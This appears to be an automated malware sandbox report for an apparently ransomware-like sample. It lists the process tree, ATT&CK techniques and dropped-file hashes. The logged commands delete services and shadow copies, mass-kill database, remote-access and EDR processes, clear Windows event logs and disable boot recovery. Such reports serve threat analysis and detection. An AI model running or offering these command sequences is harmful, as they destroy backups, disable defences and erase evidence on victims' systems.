C:\Windows\SysWOW64\sc.exesc delete VGAuthService4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete MSDTC4⤵
-
C:\Windows\SysWOW64\sc.exesc delete TeamViewer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete ReportServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete RabbitMQ4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "AHS SERVICE"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete "Sense Shield Service"4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\sc.exesc delete SSMonitorService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete SSSyncService4⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdAppService13004⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete MSSQL$SQL20084⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLAgent$SQL20084⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdTaskService13004⤵
-
C:\Windows\SysWOW64\sc.exesc delete TPlusStdUpgradeService13004⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\sc.exesc delete VirboxWebServer4⤵
-
C:\Windows\SysWOW64\sc.exesc delete jhi_service4⤵
-
C:\Windows\SysWOW64\sc.exesc delete LMS4⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FontCache3.0.0.0"4⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop TPlusStdWebService13005⤵
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSDS.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM mysqld.exe /F4⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer_Service.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM TeamViewer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM CasLicenceServer.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_w32.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM tv_x64.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM rdm.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRT.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM SecureCRTPortable.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBox.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VBoxSVC.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM VirtualBoxVM.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM abs_deployer.exe /F4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_monitor.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfupdatemgr.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM ipc_proxy.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_agent.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM edr_sec_plan.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM sfavsvc.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DataShareBox.ShareBoxMonitorService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM DataShareBox.ShareBoxService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Jointsky.CloudExchangeService.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM Jointsky.CloudExchange.NodeService.ein /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM perl.exe /F4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /IM java.exe /F4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c WEVTUTIL EL3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Analytic"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Application"3⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DebugChannel"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DirectShowFilterGraph"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "DirectShowPluginControl"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "Els_Hyphenation/Analytic"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "EndpointMapper"3⤵
- Clears Windows event logs
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "ForwardedEvents"3⤵
-
C:\Windows\SysWOW64\wevtutil.exeWEVTUTIL CL "HardwareEvents"3⤵
- Clears Windows event logs
-
C:\Users\Admin\AppData\Local\Temp\6cb1d245920799a1cc2dd8ee69e052d8.exeC:\Users\Admin\AppData\Local\Temp\6cb1d245920799a1cc2dd8ee69e052d8.exe2⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
C:\Windows\system32\vssadmin.exe"C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet3⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe3⤵
-
C:\Windows\SysWOW64\sc.exesc delete "MSSQLFDLauncher"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no3⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1846982336-1326126678650198345-817649813-1296579611177595706-1027625918862838306"1⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService11⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UIODetect1⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFIDAWebService1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Defense Evasion
Indicator Removal on Host
1File Deletion
2Impair Defenses
1File Permissions Modification
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Vahuygrzckill$-arab.batFilesize
53KB
MD5b57545cb36ef6a19fdde4b2208ebb225
SHA11d319740835ff12562e04cc74545a047bba63031
SHA256445d709ea4ae38706a0cc47ffc6c100fb9a354ff1ac718d0c23415524bdfc895
SHA5123618bb17282d8d82ff280590563eebd5c0b181d24156f6a69cba53d17a1bae0d9287c9f191efbe6c3d4223bcb47348c74177000aa0844263ed176df56e1f0856
-
memory/108-135-0x0000000000000000-mapping.dmp
-
memory/112-85-0x0000000000000000-mapping.dmp
-
memory/268-126-0x0000000000000000-mapping.dmp
-
memory/364-78-0x0000000000000000-mapping.dmp
-
memory/364-117-0x0000000000000000-mapping.dmp
-
memory/520-129-0x0000000000000000-mapping.dmp
-
memory/520-62-0x0000000000000000-mapping.dmp
-
memory/560-72-0x0000000000000000-mapping.dmp
-
memory/564-61-0x0000000000000000-mapping.dmp
-
memory/584-57-0x0000000000000000-mapping.dmp
-
memory/596-128-0x0000000000000000-mapping.dmp
-
memory/616-67-0x0000000000000000-mapping.dmp
-
memory/672-60-0x0000000000000000-mapping.dmp
-
memory/808-76-0x0000000000000000-mapping.dmp
-
memory/872-63-0x0000000000000000-mapping.dmp
-
memory/872-127-0x0000000000000000-mapping.dmp
-
memory/908-93-0x0000000000000000-mapping.dmp
-
memory/932-71-0x0000000000000000-mapping.dmp
-
memory/932-134-0x0000000000000000-mapping.dmp
-
memory/960-133-0x0000000000000000-mapping.dmp
-
memory/972-70-0x0000000000000000-mapping.dmp
-
memory/976-69-0x0000000000000000-mapping.dmp
-
memory/1032-68-0x0000000000000000-mapping.dmp
-
memory/1084-110-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-123-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-136-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-106-0x0000000000408F1E-mapping.dmp
-
memory/1084-104-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-99-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-102-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-137-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-101-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-97-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-92-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1084-94-0x0000000000400000-0x000000000042A000-memory.dmpFilesize
168KB
-
memory/1100-87-0x0000000000000000-mapping.dmp
-
memory/1120-73-0x0000000000000000-mapping.dmp
-
memory/1128-95-0x0000000000000000-mapping.dmp
-
memory/1128-59-0x0000000000000000-mapping.dmp
-
memory/1132-75-0x0000000000000000-mapping.dmp
-
memory/1304-80-0x0000000000000000-mapping.dmp
-
memory/1324-115-0x0000000000000000-mapping.dmp
-
memory/1328-118-0x0000000000000000-mapping.dmp
-
memory/1356-125-0x0000000000000000-mapping.dmp
-
memory/1372-83-0x0000000000000000-mapping.dmp
-
memory/1408-79-0x0000000000000000-mapping.dmp
-
memory/1416-120-0x0000000000000000-mapping.dmp
-
memory/1496-66-0x0000000000000000-mapping.dmp
-
memory/1504-113-0x0000000000000000-mapping.dmp
-
memory/1508-114-0x0000000000000000-mapping.dmp
-
memory/1556-65-0x0000000000000000-mapping.dmp
-
memory/1584-64-0x0000000000000000-mapping.dmp
-
memory/1612-90-0x0000000000000000-mapping.dmp
-
memory/1616-91-0x0000000000000000-mapping.dmp
-
memory/1636-131-0x0000000000000000-mapping.dmp
-
memory/1656-82-0x0000000000000000-mapping.dmp
-
memory/1672-122-0x0000000000000000-mapping.dmp
-
memory/1680-116-0x0000000000000000-mapping.dmp
-
memory/1692-100-0x0000000000000000-mapping.dmp
-
memory/1696-105-0x0000000000000000-mapping.dmp
-
memory/1740-74-0x0000000000000000-mapping.dmp
-
memory/1744-77-0x0000000000000000-mapping.dmp
-
memory/1748-130-0x0000000000000000-mapping.dmp
-
memory/1764-89-0x0000000000000000-mapping.dmp
-
memory/1780-112-0x0000000000000000-mapping.dmp
-
memory/1808-132-0x0000000000000000-mapping.dmp
-
memory/1808-56-0x0000000005970000-0x0000000005B96000-memory.dmpFilesize
2.1MB
-
memory/1808-55-0x0000000075211000-0x0000000075213000-memory.dmpFilesize
8KB
-
memory/1808-54-0x0000000000A60000-0x0000000000A68000-memory.dmpFilesize
32KB
-
memory/1820-88-0x0000000000000000-mapping.dmp
-
memory/1828-107-0x0000000000000000-mapping.dmp
-
memory/1880-84-0x0000000000000000-mapping.dmp
-
memory/1884-119-0x0000000000000000-mapping.dmp
-
memory/1948-81-0x0000000000000000-mapping.dmp
-
memory/1968-121-0x0000000000000000-mapping.dmp
-
memory/1988-124-0x0000000000000000-mapping.dmp
-
memory/2008-111-0x0000000000000000-mapping.dmp
-
memory/2024-86-0x0000000000000000-mapping.dmp